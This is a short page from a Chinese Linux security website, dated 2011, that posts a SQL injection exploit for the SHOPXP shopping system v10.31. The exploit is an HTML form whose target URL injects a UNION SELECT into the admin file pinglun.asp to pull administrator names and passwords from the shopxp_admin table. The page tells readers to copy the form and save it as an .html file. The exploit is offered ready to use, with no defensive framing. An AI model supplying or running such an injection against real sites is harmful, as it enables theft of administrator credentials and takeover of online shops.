会员投稿

投稿指南 本期推荐:

您的位置: Linux安全网 > Linux安全 > » 正文

SHOPXP购物系统 v10.31 注入漏洞 Exp

日期:2011-07-22 点击:199 来源: 未知分享至:

局限性很大，也是后台某个文件没做过滤。
所以啊，很多站改了后台，所以也没用。

EXP:

<form action="http://127.0.0.1/admin/pinglun.asp?id=1%20and%201=2%20union%20select%201,password,password,admin,admin,password,password,password,password,password,password%20from%20shopxp_admin" method="post" >
<label>
<div align="left">ShopXp Oday

<input name="Injection" type="submit" value="注射吧">
</div>
</label>
</form>

复制，粘贴，保存为.html文件

Tags：代理服务器 并发处理 position 缓存 注入点

分享至:

最新图文资讯

1 2 3 4 5 6

相关文章列表:

推荐内容

最新文章

关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史